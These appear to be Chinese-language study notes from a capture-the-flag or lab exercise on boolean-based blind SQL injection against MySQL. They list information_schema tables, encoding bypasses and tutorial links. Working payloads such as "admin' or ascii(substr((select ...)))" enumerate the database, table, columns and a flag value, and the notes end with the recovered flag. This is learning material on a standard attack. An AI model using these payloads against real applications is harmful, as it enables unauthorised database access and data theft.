information_schema.schemata(schema_name)
information_schema.tables(table_name,table_schema)
information_schema.columns(column_name,table_name)
盲注与poc编写：https://bbs.ichunqiu.com/thread-31587-1-1.html
基于bool报错的sql注入：
了解sql语句的嵌套与sql常用函数：http://blog.51cto.com/bxbx258/106008、
mysql中的字符集与常用字符编码绕过：
ascii():http://tool.oschina.net/commons?type=4
在前端：html实体编码：&#xx,js:\uxx,url:%xx [0-255]
在php与MySQL中：可以注入十六进制字符串：\uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
猜数据库：字符长度，具体字符
-1' or length(database())=10# 8
-1' or left(database(),1)>'m'#
abcdef ghijklm nopqr stuvwxyz
admin' or left(database(),2)>|='we'# admin' or left(database(),8)='web_test'#
猜数据库中的表：
admin' or length(select table_name from information_schema.tables where table_schema='web_test' limit 0,1)>10#
admin' or length((select table_name from information_schema.tables where table_schema='web_test' limit 0,1))=4# user 注意这个必须为两个括号
admin' or ascii(substr((select table_name from information_schema.tables where table_schema='web_test' limit 0,1),1,1))=117#
admin' or substr((select table_name from information_schema.tables where table_schema='web_test' limit 0,1),1,4)='USER'#
web_test.flag
猜字段
admin' or (select count(column_name) from information_schema.columns where table_name='flag')>10# 猜数目
admin' or length((select column_name from information_schema.columns where table_name='flag'))>5# 猜长度4
admin' or substr((select column_name from information_schema.columns where table_name='flag'),1,4)='flag'#
admin' or ascii(substr((select flag from web_test.flag),1,1))>32#
flag{8o5_1s_th3_b3st_c1ass}